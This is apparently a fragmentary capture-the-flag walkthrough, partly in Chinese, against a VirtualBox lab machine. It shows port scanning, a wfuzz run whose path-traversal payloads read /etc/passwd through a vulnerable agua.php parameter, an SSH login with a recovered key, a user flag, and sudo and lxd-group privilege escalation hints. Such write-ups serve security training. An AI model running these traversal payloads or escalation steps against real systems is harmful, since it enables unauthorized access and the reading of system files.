4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.964 seconds (130.35 hosts/sec). 4 responded ❯ export ip=192.168.60.139 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- With RustScan, I scan ports so fast, even my firewall gets whiplash 💨 [~] The config file is expected to be at "/home/ctf/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.139:22 Open 192.168.60.139:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-05 14:13 CST Initiating ARP Ping Scan at 14:13 Scanning 192.168.60.139 [1 port] Completed ARP Ping Scan at 14:13, 0.08s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 14:13 Completed Parallel DNS resolution of 1 host. at 14:13, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 14:13 Scanning 192.168.60.139 [2 ports] Discovered open port 80/tcp on 192.168.60.139 Discovered open port 22/tcp on 192.168.60.139 Completed SYN Stealth Scan at 14:13, 0.03s elapsed (2 total ports) Nmap scan report for 192.168.60.139 Host is up, received arp-response (0.00070s latency). Scanned at 2025-01-05 14:13:07 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:02:50:F0 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
❯ wfuzz -c -u "http://$ip/agua.php?FUZZ=FUZ2Z" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -w LFI.txt --hc 404 --hw 1556 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://192.168.60.139/agua.php?FUZZ=FUZ2Z Total requests: 584848
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000010602: 200 507 L 1588 W 27943 Ch "file - ....//....//....//etc/passwd" 000010596: 200 507 L 1588 W 27943 Ch "file - ....//....//....//....//....//....//....//....//....//etc/passwd" 000010587: 200 507 L 1588 W 27943 Ch "file - ....//....//....//....//....//....//....//....//....//....//....//....//..../ /....//....//....//....//....//etc/passwd" 000010593: 200 507 L 1588 W 27943 Ch "file - ....//....//....//....//....//....//....//....//....//....//....//....//etc/p asswd" 000010590: 200 507 L 1588 W 27943 Ch "file - ....//....//....//....//....//....//....//....//....//....//....//....//..../ /....//....//etc/passwd" 000010584: 200 507 L 1588 W 27943 Ch "file - ....//....//....//....//....//....//....//....//....//....//....//....//..../ /....//....//....//....//....//....//....//....//etc/passwd" 000010599: 200 507 L 1588 W 27943 Ch "file - ....//....//....//....//....//....//etc/passwd"
❯ ssh [email protected] -i id_rsa Enter passphrase for key 'id_rsa': Linux tortillapapas 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Apr 18 12:40:58 2024 from 192.168.0.104 sincebolla@tortillapapas:~$ ls user.txt sincebolla@tortillapapas:~$ cat user.txt 1cf125d2f4596108e4ef88c20ace1fc1 sincebolla@tortillapapas:~$ sudo -l Matching Defaults entries for sincebolla on tortillapapas: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User sincebolla may run the following commands on tortillapapas: (concebolla) NOPASSWD: /usr/sbin/smokeping
--man[=x] Show the manpage for the program (or for probe x, if specified)
--help Help :-)
………………省略………………
--shared-secret=s File containing the shared secret for talking to the server.
--cache-dir=s Directory for temporary data storage when running in slave mode.
--pid-dir=s Directory for the PID file when running in slave mode. (optional, defaults to --cache-dir)
那直接less提权即可
Root提权
1 2
concebolla@tortillapapas:/home/sincebolla$ id uid=1000(concebolla) gid=1000(concebolla) grupos=1000(concebolla),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1002(lxd)
